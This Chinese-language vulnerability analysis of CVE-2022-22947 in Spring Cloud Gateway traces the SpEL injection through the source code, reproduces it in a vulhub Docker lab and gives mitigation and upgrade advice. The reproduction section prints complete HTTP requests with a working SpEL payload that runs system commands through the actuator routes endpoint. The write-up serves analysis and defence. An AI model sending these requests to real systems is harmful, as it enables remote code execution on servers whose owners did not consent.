0x01 漏洞描述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。

据公布的漏洞描述称,当Spring Cloud Gateway 执行器端点启用、公开且不安全时,使用Spring Cloud Gateway的应用程序容易受到代码注入攻击。远程攻击者可以发出含有恶意代码的请求,从而允许在远程主机上任意远程执行。

0x02 漏洞影响

漏洞编号:CVE-2022-22947

影响版本:

  • Spring Cloud Gateway < 3.1.1

  • Spring Cloud Gateway < 3.0.7

  • Spring Cloud Gateway 较低、不受支持的版本也会受到影响

风险等级:

【高危】攻击者可利用该漏洞远程执行任意代码,目前已发现公开漏洞POC。

0x03 环境搭建

本次在ubuntu云服务器上利用docker搭建漏洞复现环境

git clone https://github.com/vulhub/vulhub
cd vulhub/spring/CVE-2022-22947/
docker-compose up -d //启动环境
docker ps -a //查看测试环境运行情况


访问地址:http://IP:8080

0x04 漏洞分析

部分源码:

static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory,
String entryValue) {
Object value;
String rawValue = entryValue;
if (rawValue != null) {
rawValue = rawValue.trim();
}
if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {// assume it's spel
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new BeanFactoryResolver(beanFactory));
Expression expression = parser.parseExpression(entryValue,
new TemplateParserContext());
value = expression.getValue(context);
}
else {
value = entryValue;
}
return value;
}

漏洞定位:

src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java

可以看到StandardEvaluationContext 上下文,它允许调用或调用任何有效的表达式。如果可以控制getValue 方法调用

getValue方法取值时使用

StandardEvaluationContext进行表达式解析。

追踪getValue方法发现在ShortcutType枚举类中调用了getValue获取值(第100行)normalize针对value归一化同时也调用了getValue方法

全局搜索ShortcutType这个枚举类。

跟踪调用normalize 方法的位置。

定位到ConfigurationService.java中ConfigurableBuilder的

normalizeProperties函数,结合前面的代码分析,如果this.properties可控,那么最终控制ShortcutConfigurable.java中rawValue可控制SPEL 表达式中内容。

分析得知gatValue函数在ShortcutType

枚举类的三个取里被调用值

(DEFAULT

GATHER_LIST GATHER_LIST_TAIL_FLAG)

根据官方文档表示称,acutator开启后可以通过访问/actuator/gateway/routes路径列出路由,路由中包含filter,如:

/gateway/routes/{id_route_to_create}//访问该路径创建路由

/actuator/gateway/refresh//访问该路径重载路由配置

攻击者通过添加带有filter的恶意路由,当重新加载路由时,会触发对参数的归一化逻辑,从而导致filter参数value中的SPEL表达式被解析。

官方文档地址:

https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#actuator-api

0x05 漏洞复现

5.1 构造命令回显请求

构造含有恶意SpEL表达式发送如下数据包来执行命令

POST请求中SpEL表达式内容分析:

(new String[]{\"id\"})//创建一个字符串
(T(java.lang.Runtime).getRuntime().exec//运行代码的函数
getInputStream()//获取执行结果
T(org.springframework.util.StreamUtils).copyToByteArray//将执行结果转换为数组
new String()//将数组转换为字符串
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{ "name": "AddResponseHeader","args": {   "name": "Result",  "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" }}],"uri": "http://example.com"}

5.2 触发刷新路由

发送POST方法请求

/actuator/gateway/refresh,用于刷新路由,使刚添加的恶意路由生效:

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

5.3 命令回显

在refresh路由时调用GatewayFilter中apply函数,当路由创建后,通过GET请求获取命令回显,发送如下数据包即可查看执行结果:

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

5.4 删除创建的路由

可通过发送DELETE方法请求

/actuator/gateway/routes/hacktest,

删除所添加的路由:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

可以利用该漏洞构造发送含有恶意数据包反弹shell,由于文章篇幅原因这里不做过多赘述。

注释:

SpEL(Spring Expression Language),即Spring表达式语言。

它是一种类似JSP的EL表达式,但又比后者更为强大有用的表达式语言。

0x06 漏洞修复

6.1 临时修复建议

禁用:

management.endpoint.gateway.enabled: false

如果需要执行器,则应使用 Spring Security 对其进行保护

[参考地址] :

https://docs.spring.io/springboot/docs/current/reference/html/actuator.html#actuator.endpoints.security

6.2 通用修复建议

官方已发布安全版本,请及时下载更新。

[下载地址] :

https://github.com/spring cloud/spring-cloud-gateway

声明

以上内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。

Spring Cloud Gateway远程代码执行CVE-2022-22947漏洞分析及复现相关推荐

  1. Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)

    引言   Spring Cloud Gateway是基于Spring Framework和Spring Boot构建的API网关,它旨在为微服务架构提供一种简单.有效.统一的API路由管理方式.    ...

  2. pikachu RCE(remote command/code execute)(远程命令执行/远程代码执行)(皮卡丘漏洞平台通关系列)

    目录 一.官方介绍 二.诚意推荐 三.悠闲通关 第1关 exec "ping" 第2关 exec "eval" 一.官方介绍 本节引用内容来源pikachu漏洞 ...

  3. Spring Data REST 远程代码执行漏洞(CVE-2017-8046)分析与复现

    前言 2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL(Spring Expression Language).对于开发者而言,引入新的工具显然是令人兴奋的,但是对于运维 ...

  4. Spring Cloud Gateway高危漏洞修复方案

    小菜鸟的个人博客已经正式上线且对外开放啦- 博客访问地址:小菜鸟的大梦想 欢迎各位同学扫码关注本人公众号 ↓↓↓ 更多优质内容将 首发 公众号 2022年3月1日,Spring官方发布了关于Sprin ...

  5. 【安全风险通告】Spring Framework远程代码执行漏洞(CVE-2022-22965)安全风险通告第二次更新...

    奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 安全通告 近日,奇安信CERT监测到Spring Framework存在远程代码执行漏洞(CVE-2022-22965),在 ...

  6. 【高危漏洞通告】Spring Framework 远程代码执行 (CVE-2022-22965)

    [高危漏洞通告]Spring Framework 远程代码执行 (CVE-2022-22965)漏洞通告    一. 漏洞情况 Spring 框架(Framework)是一个开源的轻量级 J2EE 应 ...

  7. Vackbot已覆盖 |【漏洞通告】Spring框架远程代码执行漏洞

    漏洞描述 近日,墨云科技监测到Spring框架中存在远程代码执行漏洞,在JDK 9及以上版本环境下,攻击者通过构造恶意的请求修改中间件的日志文件,从而实现远程代码执行. 由于该漏洞的严重性,建议使用S ...

  8. Spring Cloud Gateway 突发高危漏洞,下一代云原生网关恰逢其时?

    Spring Cloud Gateway 突发高危漏洞 Log4j2 的漏洞刚告一段落,Spring 官方在 2022 年 3 月 1 日发布了 Spring Cloud Gateway 的两个 CV ...

  9. ws配置 zuul_微服务网关 Spring Cloud Gateway

    1.  为什么是Spring Cloud Gateway 一句话,Spring Cloud已经放弃Netflix Zuul了.现在Spring Cloud中引用的还是Zuul 1.x版本,而这个版本是 ...

最新文章

  1. linux shell中小数的运算
  2. 2018年,这些信息通信技术将大红大紫
  3. 服务端统一时间戳 boost::date_time UTC
  4. Python学习笔记:Dict和Set
  5. Linux 高性能服务器编程——多线程编程
  6. python 表格查询_python单表查询
  7. 在线问诊、找科室、找医生、查疾病、图文问诊、电话急诊、健康咨询、问诊平台、咨询平台、问诊服务、语音问诊、开药问诊、看病平台、在线医疗、健康平台、登录注册、信息架构图、全局说明、组件规范、需求清单、
  8. 同事1000行又臭又长 的类!被我用IDEA几分钟重构!真香!
  9. Eclipse中输入点号(.)不提示类成员(函数、字段)的解决办法
  10. 2017年全国数学建模国赛B题题目、解题思路、matlab代码(三)
  11. x射线直接投影成像的条件_无损检测之X射线检测实时成像技术分辨率
  12. vue中配置filemanager-webpack-plugin的报错和解决
  13. 中国最爱喝奶茶的城市找到了
  14. 小刘同学的第一百三十一篇博文
  15. PPT差点被对手盗用?教你9种方法,打上你的个人信息!
  16. (23)语义分割--UNet
  17. python学后总结_学员 | 斥巨资学完数据分析后,给大家总结了7个小建议
  18. java 排序库_Java数据库排序
  19. CSDN高校俱乐部招募公告
  20. C++ 程序编译过程:从代码到程序

热门文章

  1. SQL首字母大写其他字母小写
  2. Mac 安装 JDK1.8,Linux 安装 JDK1.8,Windows安装JDK1.8
  3. 【word的pdfmaker.officeaddin加载项出现问题解决方法】
  4. Android 蓝牙BLE串口通信之高低位转换、16进制字符串转换float浮点型
  5. 利用pytorch实现交通标识分类
  6. kotlin位操作和位运算
  7. happypack打包报错TypeError: this.getOptions is not a function
  8. Sublime编辑LaTex
  9. 追忆我的2008-爱上读书篇
  10. SQL Server 2000 + 2005 + 2008 + 2008R2,完全可以共存